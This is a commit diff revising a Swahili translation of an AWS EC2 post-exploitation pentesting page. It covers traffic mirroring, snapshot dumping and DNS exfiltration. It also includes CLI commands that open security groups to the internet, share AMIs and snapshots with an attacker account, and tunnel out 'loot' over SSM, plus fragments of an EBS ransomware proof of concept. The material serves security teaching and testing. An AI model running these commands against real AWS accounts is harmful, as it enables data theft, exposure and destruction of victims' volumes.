Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-08-18 14:52:30 +00:00
parent 026037a8e7
commit c4ddde3ffe
@@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia:
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
VPC traffic mirroring **hupiga picha ya trafiki ya ndani na nje kwa EC2 instances ndani ya VPC** bila haja ya kufunga chochote kwenye instances wenyewe. Trafiki hii iliyopigwa picha kawaida itatumwa kwa kitu kama mfumo wa kugundua uvamizi wa mtandao (IDS) kwa uchambuzi na ufuatiliaji.\
VPC traffic mirroring **huzidisha trafiki ya kuingia na kutoka kwa EC2 instances ndani ya VPC** bila haja ya kufunga chochote kwenye instances wenyewe. Trafiki hii iliyozidishwa kawaida itatumwa kwa kitu kama mfumo wa kugundua uvunjaji wa mtandao (IDS) kwa uchambuzi na ufuatiliaji.\
Mshambuliaji anaweza kutumia hii kukamata trafiki yote na kupata taarifa nyeti kutoka kwake:
Kwa maelezo zaidi angalia ukurasa huu:
@@ -50,7 +50,7 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
### EBS Snapshot dump
**Snapshots ni nakala za volumes**, ambazo kwa kawaida zitakuwa na **taarifa nyeti**, hivyo kuzikagua kunapaswa kufichua taarifa hii.\
Ikiwa unapata **volume bila snapshot** unaweza: **Kuunda snapshot** na kufanya hatua zifuatazo au tu **kuikamata katika instance** ndani ya akaunti:
Ikiwa unapata **volume bila snapshot** unaweza: **Kuunda snapshot** na kufanya hatua zifuatazo au tu **kuikamata katika mfano** ndani ya akaunti:
{{#ref}}
aws-ebs-snapshot-dump.md
@@ -60,7 +60,7 @@ aws-ebs-snapshot-dump.md
#### DNS Exfiltration
Hata kama unafunga EC2 ili hakuna trafiki inayoweza kutoka, bado inaweza **kuondolewa kupitia DNS**.
Hata kama unafunga EC2 ili hakuna trafiki inayoweza kutoka, bado inaweza **kuvuja kupitia DNS**.
- **VPC Flow Logs haitarekodi hii**.
- Huna ufikiaji wa AWS DNS logs.
@@ -70,11 +70,11 @@ Hata kama unafunga EC2 ili hakuna trafiki inayoweza kutoka, bado inaweza **kuond
#### Exfiltration via API calls
Mshambuliaji anaweza kuita API endpoints za akaunti inayodhibitiwa na yeye. Cloudtrail itarekodi hizi simu na mshambuliaji ataweza kuona data iliyondolewa katika Cloudtrail logs.
Mshambuliaji anaweza kuita API endpoints za akaunti inayodhibitiwa na yeye. Cloudtrail itarekodi hizi simu na mshambuliaji ataweza kuona data iliyovuja katika Cloudtrail logs.
### Open Security Group
Unaweza kupata ufikiaji zaidi kwa huduma za mtandao kwa kufungua port kama hii:
Unaweza kupata ufikiaji zaidi kwa huduma za mtandao kwa kufungua bandari kama hii:
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
@@ -95,7 +95,7 @@ Required permissions:
- `ssm:StartSession`
Mbali na utekelezaji wa amri, SSM inaruhusu tunneling ya trafiki ambayo inaweza kutumika kubadilisha kutoka kwa EC2 instances ambazo hazina ufikiaji wa mtandao kwa sababu ya Security Groups au NACLs. Moja ya hali ambapo hii ni muhimu ni kubadilisha kutoka kwa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hadi klasta ya EKS ya kibinafsi.
Mbali na utekelezaji wa amri, SSM inaruhusu tunneling ya trafiki ambayo inaweza kutumika kubadilisha kutoka kwa EC2 instances ambazo hazina ufikiaji wa mtandao kwa sababu ya Security Groups au NACLs. Mojawapo ya hali ambapo hii ni muhimu ni kubadilisha kutoka kwa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hadi klasta ya EKS ya kibinafsi.
> Ili kuanza kikao unahitaji kuwa na SessionManagerPlugin iliyosakinishwa: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
@@ -115,21 +115,62 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
```
8. Trafiki kutoka kwa zana ya `kubectl` sasa inasambazwa kupitia tunnel ya SSM kupitia Bastion EC2 na unaweza kufikia klasta ya EKS ya kibinafsi kutoka kwa mashine yako mwenyewe kwa kukimbia:
8. Trafiki kutoka kwa chombo cha `kubectl` sasa inasambazwa kupitia tunnel ya SSM kupitia Bastion EC2 na unaweza kufikia klasta ya EKS ya kibinafsi kutoka kwa mashine yako mwenyewe kwa kukimbia:
```shell
kubectl get pods --insecure-skip-tls-verify
```
Kumbuka kwamba muunganisho wa SSL utafaulu isipokuwa uweke bendera `--insecure-skip-tls-verify` (au sawa yake katika zana za ukaguzi za K8s). Kwa kuwa trafiki inapitishwa kupitia handaki salama la AWS SSM, uko salama kutokana na aina yoyote ya mashambulizi ya MitM.
Note kwamba muunganisho wa SSL utafaulu isipokuwa uweke bendera `--insecure-skip-tls-verify` (au sawa yake katika zana za ukaguzi za K8s). Kwa kuwa trafiki inatolewa kupitia handaki salama la AWS SSM, uko salama kutokana na aina yoyote ya mashambulizi ya MitM.
Hatimaye, mbinu hii si maalum kwa kushambulia vikundi vya EKS vya kibinafsi. Unaweza kuweka majina ya kikoa na bandari za kiholela kuhamasisha huduma nyingine yoyote ya AWS au programu maalum.
Hatimaye, mbinu hii si maalum kwa kushambulia klasta za EKS za kibinafsi. Unaweza kuweka maeneo na port zisizo na mipaka ili kuhamasisha huduma nyingine yoyote ya AWS au programu maalum.
### Share AMI
---
#### Mbele ya Haraka ya Mitaa ↔️ K remote (AWS-StartPortForwardingSession)
Ikiwa unahitaji tu kuhamasisha **port moja ya TCP kutoka kwa mfano wa EC2 hadi mwenyeji wako wa ndani** unaweza kutumia hati ya SSM `AWS-StartPortForwardingSession` (hakuna parameter ya mwenyeji wa mbali inayohitajika):
```bash
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
```
Amri inaunda handaki ya pande mbili kati ya kituo chako cha kazi (`localPortNumber`) na bandari iliyochaguliwa (`portNumber`) kwenye mfano **bila kufungua sheria zozote za Inbound Security-Group**.
Matumizi ya kawaida:
* **Uhamasishaji wa faili**
1. Kwenye mfano anzisha seva ya haraka ya HTTP inayolenga saraka unayotaka kuhamasisha:
```bash
python3 -m http.server 8000
```
2. Kutoka kwa kituo chako cha kazi pakua faili kupitia handaki ya SSM:
```bash
curl http://localhost:8000/loot.txt -o loot.txt
```
* **Kufikia programu za wavuti za ndani (mfano: Nessus)**
```bash
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
```
Tip: Punguza na ulinzi ushahidi kabla ya kuhamasisha ili CloudTrail isijulishe maudhui ya maandiko wazi:
```bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
```
### Shiriki AMI
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### Tafuta taarifa nyeti katika AMIs za umma na binafsi
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni chombo kilichoundwa ili **kutafuta taarifa nyeti ndani ya picha za mashine za Amazon (AMIs) za umma au binafsi**. Inafanya mchakato wa kuzindua matukio kutoka kwa AMIs lengwa, kuunganisha volumu zao, na kuchanganua kwa siri au data nyeti zinazoweza kuwepo.
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni chombo kilichoundwa ili **kutafuta taarifa nyeti ndani ya picha za mashine za Amazon (AMIs) za umma au binafsi**. Inafanya mchakato wa kuzindua mifano kutoka kwa AMIs lengwa, kuunganisha volumu zao, na kuchanganua kwa siri au data nyeti zinazoweza kuwepo.
### Shiriki EBS Snapshot
```bash
@@ -137,7 +178,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
```
### EBS Ransomware PoC
Uthibitisho wa dhana unaofanana na onyesho la Ransomware lililoonyeshwa katika maelezo ya S3 post-exploitation. KMS inapaswa kubadilishwa jina kuwa RMS kwa Huduma ya Usimamizi wa Ransomware kutokana na urahisi wa kuitumia kuandika huduma mbalimbali za AWS kwa kutumia hiyo.
Uthibitisho wa dhana unaofanana na onyesho la Ransomware lililoonyeshwa katika maelezo ya baada ya unyakuzi wa S3. KMS inapaswa kubadilishwa jina kuwa RMS kwa Huduma ya Usimamizi wa Ransomware kutokana na urahisi wa kuitumia kuandika data mbalimbali za AWS kwa kutumia hiyo.
Kwanza kutoka kwa akaunti ya 'mshambuliaji' ya AWS, tengeneza funguo inayosimamiwa na mteja katika KMS. Kwa mfano huu tutaruhusu AWS kusimamia data ya funguo kwangu, lakini katika hali halisi, mhusika mbaya angehifadhi data ya funguo nje ya udhibiti wa AWS. Badilisha sera ya funguo ili kuruhusu kwa kila Akaunti ya AWS Principal kutumia funguo hiyo. Kwa sera hii ya funguo, jina la akaunti lilikuwa 'AttackSim' na sheria ya sera inayoruhusu ufikiaji wote inaitwa 'Outside Encryption'
```
@@ -239,17 +280,17 @@ Sera ya funguo inahitaji yafuatayo kuwezeshwa ili kuruhusu uwezo wa kuitumia kua
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
Sasa na funguo inayopatikana hadharani kutumia. Tunaweza kutumia akaunti ya 'mwathirika' ambayo ina EC2 instances kadhaa zilizozinduliwa zikiwa na EBS volumes zisizoandikwa. EBS volumes za akaunti hii ya 'mwathirika' ndizo tunazolenga kwa ajili ya kuandika, shambulio hili likiwa chini ya dhana ya uvunjaji wa akaunti ya AWS yenye mamlaka ya juu.
Sasa tukiwa na funguo inayopatikana hadharani. Tunaweza kutumia akaunti ya 'mwathirika' ambayo ina EC2 instances zilizozinduliwa zikiwa na EBS volumes zisizoandikwa. EBS volumes za akaunti hii ya 'mwathirika' ndizo tunalenga kwa ajili ya kuandika, shambulio hili linafanyika chini ya dhana ya uvunjaji wa akaunti ya AWS yenye mamlaka ya juu.
![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
Kama mfano wa S3 ransomware. Shambulio hili litaunda nakala za EBS volumes zilizounganishwa kwa kutumia snapshots, kutumia funguo inayopatikana hadharani kutoka akaunti ya 'mshambuliaji' kuandika EBS volumes mpya, kisha kuondoa EBS volumes za asili kutoka EC2 instances na kuzifuta, na hatimaye kufuta snapshots zilizotumika kuunda EBS volumes mpya zilizokuwa zimeandikwa. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Kama ilivyo katika mfano wa ransomware wa S3. Shambulio hili litaunda nakala za EBS volumes zilizounganishwa kwa kutumia snapshots, kutumia funguo inayopatikana hadharani kutoka akaunti ya 'mshambuliaji' kuandika EBS volumes mpya, kisha kutenganisha EBS volumes za asili kutoka EC2 instances na kuzifuta, na hatimaye kufuta snapshots zilizotumika kuunda EBS volumes mpya zilizokuwa zimeandikwa. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Hii inasababisha kuwa na EBS volumes tu zilizokuwa zimeandikwa zilizobaki katika akaunti.
![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
Pia inafaa kutaja, script ilisimamisha EC2 instances ili kuondoa na kufuta EBS volumes za asili. EBS volumes za asili zisizoandikwa zimeondolewa sasa.
Pia inafaa kutaja, script ilisimamisha EC2 instances ili kutenganisha na kufuta EBS volumes za asili. EBS volumes za asili zisizoandikwa zimeondolewa sasa.
![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
@@ -328,11 +369,11 @@ Subiri kwa muda ili sera mpya ya ufunguo iweze kuenea. Kisha rudi kwenye akaunti
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
Lakini unapojaribu kuanzisha tena EC2 instance na volumu ya EBS iliyofichwa kwa siri itashindwa tu na kurudi kutoka hali ya 'pending' hadi hali ya 'stopped' milele kwani volumu ya EBS iliyounganishwa haiwezi kufichuliwa kwa kutumia ufunguo kwani sera ya ufunguo haiiruhusu tena.
Lakini unapojaribu kuanzisha tena EC2 instance na volumu ya EBS iliyofichwa kwa siri, itashindwa tu na kurudi kutoka hali ya 'pending' hadi hali ya 'stopped' milele kwani volumu ya EBS iliyounganishwa haiwezi kufichuliwa kwa kutumia ufunguo kwani sera ya ufunguo haiiruhusu tena.
![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
Hii ni script ya python inayotumika. Inachukua AWS creds kwa akaunti ya 'mwathirika' na thamani ya AWS ARN inayopatikana hadharani kwa ufunguo utakaotumika kwa ajili ya ufichuzi. Script itafanya nakala zilizofichwa za EBS zote zinazopatikana zilizounganishwa kwa EC2 instances zote katika akaunti ya AWS iliyolengwa, kisha itasimamisha kila EC2 instance, kuondoa volumu za EBS za awali, kuzifuta, na hatimaye kufuta snapshots zote zilizotumika wakati wa mchakato. Hii itawaacha tu volumu za EBS zilizofichwa katika akaunti ya 'mwathirika' iliyolengwa. TUMIA SCRIPT HII KATIKA KIZAZI CHA MAJARIBIO TU, NI DESTRUCTIVE NA ITAFUTA VOLUMU ZOTE ZA EBS ZA AWALI. Unaweza kuzirejesha kwa kutumia ufunguo wa KMS ulio tumika na kuzirudisha katika hali yao ya awali kupitia snapshots, lakini nataka kukufahamisha kwamba hii ni PoC ya ransomware mwishoni mwa siku.
Hii ni script ya python inayotumika. Inachukua AWS creds kwa akaunti ya 'mwathirika' na thamani ya AWS ARN inayopatikana hadharani kwa ufunguo utakaotumika kwa ajili ya ufichuzi. Script itafanya nakala zilizofichwa za EBS zote zinazopatikana zilizounganishwa kwa EC2 instances zote katika akaunti ya AWS iliyolengwa, kisha itasimamisha kila EC2 instance, kuondoa volumu za EBS za awali, kuzifuta, na hatimaye kufuta snapshots zote zilizotumika wakati wa mchakato. Hii itawaacha tu volumu za EBS zilizofichwa kwa siri katika akaunti ya 'mwathirika' iliyolengwa. TUMIA SCRIPT HII KATIKA KIZAZI CHA MAJARIBIO TU, NI YA KUHARIBU NA ITAFUTA VOLUMU ZOTE ZA EBS ZA AWALI. Unaweza kuzirejesha kwa kutumia ufunguo wa KMS ulitumika na kuzirudisha katika hali yao ya awali kupitia snapshots, lakini nataka kukufahamisha kwamba hii ni PoC ya ransomware mwishoni mwa siku.
```
import boto3
import argparse
@@ -449,4 +490,8 @@ delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
```
## Marejeleo
- [Pentest Partners Jinsi ya kuhamasisha faili katika AWS kwa kutumia SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
{{#include ../../../../banners/hacktricks-training.md}}